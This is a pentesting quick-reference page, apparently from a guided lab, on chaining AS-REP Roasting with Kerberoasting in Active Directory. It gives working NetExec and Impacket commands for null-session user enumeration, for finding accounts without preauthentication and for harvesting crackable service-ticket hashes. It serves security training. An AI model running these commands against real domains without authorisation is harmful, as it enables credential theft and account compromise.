> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/active-directory-pentesting/active-directory/kerberoasting-via-as-rep.md). # Kerberoasting via AS-rep ## Kerberoasting via AS-REP Roasting Normally, to request a TGS ticket for Kerberoasting, you first need a TGT. To get a TGT, you usually need the password of at least one valid user in the domain. But what if you are on a network and don't have any valid passwords yet? You can chain two Active Directory attacks together: AS-REP Roasting and Kerberoasting. Sometimes, sysadmins configure certain accounts with the setting "Do not require Kerberos preauthentication" - this means we can interact with the KDC on behalf of the user (without knowing their password!) We can use an AS-REP roastable account to act as our initial foothold to Kerberoast other targets. ### Identifying Valid Users But here's the problem... if we are starting with no credentials, how do we get a list of domain users? Well, we have to rely on misconfigurations. We can test the Domain Controller to see if it will talk to us without forcing us to authenticate. Explaining why this works is out-of-scope for this Guided Lab, but we'll make another one soon on initial access. ``` ## Connecting with a Null Session nxc smb [DC-IP] -u '' -p '' --users-export usernames.txt ## Connecting with the Guest account nxc smb [DC-IP] -u 'guest' -p '' --users-export users.txt ```

If **any** of these methods succeed, you now have a full list of usernames. Save those to a text file (i.e. `usernames.txt` or `users.txt`). They should have ONLY the usernames. #### 3. Identify Users Vulnerable to AS-REP Roasting Before we can Kerberoast, we need to find at least one user in the domain vulnerable to AS-REP Roasting. We can use Netexec again for this: ``` nxc ldap [DC-IP] -u [USERNAME-LIST] -p '' --asreproast output.txt ```

If there is a user vulnerable to AS-REP Roasting, you will find them in `output.txt` after running this attack. #### 4. Kerberoasting via AS-REP Roasting Finally, we are ready to performing a Kerberoasting attack with the AS-REP Roastable user we identified ``` nxc ldap [DC-IP] -u [AS-REP ROASTING USER] -p '' --no-preauth-targets [USERNAME-LIST] --kerberoasting kerberoast_hashes.txt ```

You can use the same steps as before to crack the hash in `kerberoast_hashes.txt` to retrieve the plaintext password of the victim user. ## Targeted (Blind) Kerberoasting - Example Impacket Normally, Kerberoasting requires a valid domain credential to request Service Tickets (TGS) for accounts with SPNs. However, since we obtained an AS-REP hash for `tspivey` (even though uncracked), we can use that account's context to perform a "blind" Kerberoast attack against the domain. ```bash # Blind Kerberoasting via the AS-REP roastable user impacket-GetUserSPNs -no-preauth t.spivey -usersfile valid_users.txt -dc-host run-srv.tri.lab tri.lab/t.spivey ```

*(Alternatively, using NetExec syntax as shown in the video)*: ```bash netexec ldap run-srv.tri.lab -u tspivey -p '' --kerberoasting kerberoast_hashes.txt ``` **Result:** Successfully obtained a Kerberos Ticket Granting Service (TGS) hash for the user `j.reed`.